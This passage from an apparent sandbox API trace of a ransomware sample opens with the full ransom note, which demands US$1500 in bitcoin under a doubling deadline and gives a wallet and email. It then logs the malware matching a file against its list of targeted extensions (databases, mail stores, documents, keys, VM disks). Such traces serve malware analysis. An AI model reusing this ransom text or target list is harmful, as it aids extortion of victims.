personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0098.864] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0098.866] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0098.866] CloseHandle (hObject=0x90) returned 1 [0098.866] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll" [0098.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.ems") returned 0 [0098.866] lstrlenA (lpString="*.ems") returned 5 [0098.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.db") returned 0 [0098.866] lstrlenA (lpString="*.db") returned 4 [0098.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.dbf") returned 0 [0098.866] lstrlenA (lpString="*.dbf") returned 5 [0098.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.myox") returned 0 [0098.866] lstrlenA (lpString="*.myox") returned 6 [0098.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.myo") returned 0 [0098.866] lstrlenA (lpString="*.myo") returned 5 [0098.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.qbw") returned 0 [0098.867] lstrlenA (lpString="*.qbw") returned 5 [0098.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.qbb") returned 0 [0098.867] lstrlenA (lpString="*.qbb") returned 5 [0098.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.qbm") returned 0 [0098.867] lstrlenA (lpString="*.qbm") returned 5 [0098.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.qbo") returned 0 [0098.867] lstrlenA (lpString="*.qbo") returned 5 [0098.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.qbx") returned 0 [0098.867] lstrlenA (lpString="*.qbx") returned 5 [0098.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.qba") returned 0 [0098.867] lstrlenA (lpString="*.qba") returned 5 [0098.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.qby") returned 0 [0098.867] lstrlenA (lpString="*.qby") returned 5 [0098.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.qbj") returned 0 [0098.867] lstrlenA (lpString="*.qbj") returned 5 [0098.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.ofx") returned 0 [0098.867] lstrlenA (lpString="*.ofx") returned 5 [0098.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.qif") returned 0 [0098.868] lstrlenA (lpString="*.qif") returned 5 [0098.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.mye") returned 0 [0098.868] lstrlenA (lpString="*.mye") returned 5 [0098.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.mbox") returned 0 [0098.868] lstrlenA (lpString="*.mbox") returned 6 [0098.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.eml") returned 0 [0098.868] lstrlenA (lpString="*.eml") returned 5 [0098.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.pst") returned 0 [0098.868] lstrlenA (lpString="*.pst") returned 5 [0098.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.ost") returned 0 [0098.868] lstrlenA (lpString="*.ost") returned 5 [0098.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.idx") returned 0 [0098.868] lstrlenA (lpString="*.idx") returned 5 [0098.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.dbx") returned 0 [0098.869] lstrlenA (lpString="*.dbx") returned 5 [0098.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.sql") returned 0 [0098.869] lstrlenA (lpString="*.sql") returned 5 [0098.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.mdb") returned 0 [0098.869] lstrlenA (lpString="*.mdb") returned 5 [0098.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.fdb") returned 0 [0098.869] lstrlenA (lpString="*.fdb") returned 5 [0098.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.wab") returned 0 [0098.869] lstrlenA (lpString="*.wab") returned 5 [0098.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.dat") returned 0 [0098.869] lstrlenA (lpString="*.dat") returned 5 [0098.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.txt") returned 0 [0098.869] lstrlenA (lpString="*.txt") returned 5 [0098.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.jpeg") returned 0 [0098.869] lstrlenA (lpString="*.jpeg") returned 6 [0098.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.jpg") returned 0 [0098.869] lstrlenA (lpString="*.jpg") returned 5 [0098.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.png") returned 0 [0098.870] lstrlenA (lpString="*.png") returned 5 [0098.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.php") returned 0 [0098.870] lstrlenA (lpString="*.php") returned 5 [0098.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.cs") returned 0 [0098.870] lstrlenA (lpString="*.cs") returned 4 [0098.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.cpp") returned 0 [0098.870] lstrlenA (lpString="*.cpp") returned 5 [0098.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.rar") returned 0 [0098.871] lstrlenA (lpString="*.rar") returned 5 [0098.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.zip") returned 0 [0098.871] lstrlenA (lpString="*.zip") returned 5 [0098.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.html") returned 0 [0098.871] lstrlenA (lpString="*.html") returned 6 [0098.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.htm") returned 0 [0098.871] lstrlenA (lpString="*.htm") returned 5 [0098.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.xlsx") returned 0 [0098.871] lstrlenA (lpString="*.xlsx") returned 6 [0098.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.xls") returned 0 [0098.871] lstrlenA (lpString="*.xls") returned 5 [0098.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.mp4") returned 0 [0098.871] lstrlenA (lpString="*.mp4") returned 5 [0098.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.ppt") returned 0 [0098.871] lstrlenA (lpString="*.ppt") returned 5 [0098.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.pptx") returned 0 [0098.871] lstrlenA (lpString="*.pptx") returned 6 [0098.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.doc") returned 0 [0098.872] lstrlenA (lpString="*.doc") returned 5 [0098.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.dot") returned 0 [0098.872] lstrlenA (lpString="*.dot") returned 5 [0098.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.docx") returned 0 [0098.872] lstrlenA (lpString="*.docx") returned 6 [0098.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.7z") returned 0 [0098.872] lstrlenA (lpString="*.7z") returned 4 [0098.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.tar") returned 0 [0098.872] lstrlenA (lpString="*.tar") returned 5 [0098.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.bz2") returned 0 [0098.872] lstrlenA (lpString="*.bz2") returned 5 [0098.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.gz") returned 0 [0098.872] lstrlenA (lpString="*.gz") returned 4 [0098.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.mkv") returned 0 [0098.872] lstrlenA (lpString="*.mkv") returned 5 [0098.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.eml") returned 0 [0098.872] lstrlenA (lpString="*.eml") returned 5 [0098.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.msg") returned 0 [0098.872] lstrlenA (lpString="*.msg") returned 5 [0098.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.edb") returned 0 [0098.873] lstrlenA (lpString="*.edb") returned 5 [0098.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.accdb") returned 0 [0098.873] lstrlenA (lpString="*.accdb") returned 7 [0098.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.odb") returned 0 [0098.873] lstrlenA (lpString="*.odb") returned 5 [0098.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.java") returned 0 [0098.873] lstrlenA (lpString="*.java") returned 6 [0098.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.asm") returned 0 [0098.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.pfx") returned 0 [0098.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.pem") returned 0 [0098.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.p12") returned 0 [0098.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.gpg") returned 0 [0098.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.vsd") returned 0 [0098.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.odg") returned 0 [0098.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.raw") returned 0 [0098.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.nef") returned 0 [0098.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.svg") returned 0 [0098.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.psd") returned 0 [0098.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.vmx") returned 0 [0098.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.vmdk") returned 0 [0098.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.vdi") returned 0 [0098.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.lay6") returned 0 [0098.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.mpeg") returned 0 [0098.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.djvu") returned 0 [0098.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.tiff") returned 0 [0098.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.backup") returned 0 [0098.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.pdf") returned 0 [0098.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.cert") returned 0 [0098.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.docm") returned 0 [0098.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.xlsm") returned 0 [0098.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.dwg") returned 0 [0098.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.nd") returned 0 [0098.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.tlg") returned 0 [0098.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.lgb") returned 0 [0098.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.mov") returned 0 [0098.876] PathMatchSpecA 